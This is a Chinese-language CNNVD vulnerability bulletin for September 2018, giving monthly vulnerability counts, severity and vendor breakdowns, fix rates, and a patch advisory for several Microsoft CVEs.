信息安全漏洞通报 2018年9月国家信息安全漏洞库（CNNVD） 本期导读 漏洞态势 根据国家信息安全漏洞库（CNNVD）统计，2018年9月份采集安全漏洞共1324个。 本月接报漏洞共计2314个，其中信息技术产品漏洞（通用型漏洞）129个，网络信息系统漏洞（事件型漏洞）2185个。 重大漏洞预警 1、微软官方发布了多个安全漏洞的公告，包括Internet Explorer 内存损坏漏洞（CNNVD-201809-509、CVE-2018-8447）、Microsoft Excel 远程代码执行漏洞（CNNVD-201809-550、CVE-2018-8331）等多个漏洞。成功利用上述安全漏洞的攻击者，可以在目标系统上执行任意代码。微软多个产品和系统受漏洞影响。目前，微软官方已经发布补丁修复了上述漏洞，建议用户及时确认是否受到漏洞影响，尽快采取修补措施。
漏洞态势 一、公开漏洞情况 根据国家信息安全漏洞库（CNNVD ）统计，2018年9月份新增安全漏洞共1324个，从厂商分布来看，Google 公司产品的漏洞数量最多，共发布110个；从漏洞类型来看，跨站脚本类的漏洞占比最大，达到13.14%。本月新增漏洞中，超危漏洞24个、高危漏洞89个、中危漏洞873个、低危漏洞338个，相应修复率分别为62.50%、92.13%、70.33%以及56.80%。合计903个漏洞已有修复补丁发布，本月整体修复率68.20%。 截至2018年9月30日，CNNVD 采集漏洞总量已达115764个。 1.1 漏洞增长概况 2018年9月新增安全漏洞1324个，与上月（962个）相比增加了37.63%。根据近6个月来漏洞新增数量统计图，平均每月漏洞数量达到1374个。 图1 2018年4月至2018年9月漏洞新增数量统计图 1496 951 1505 2004 962 1324 250 45065085010501250145016501850205022502018年4月 2018年5月 2018年6月 2018年7月 2018年8月 2018年9月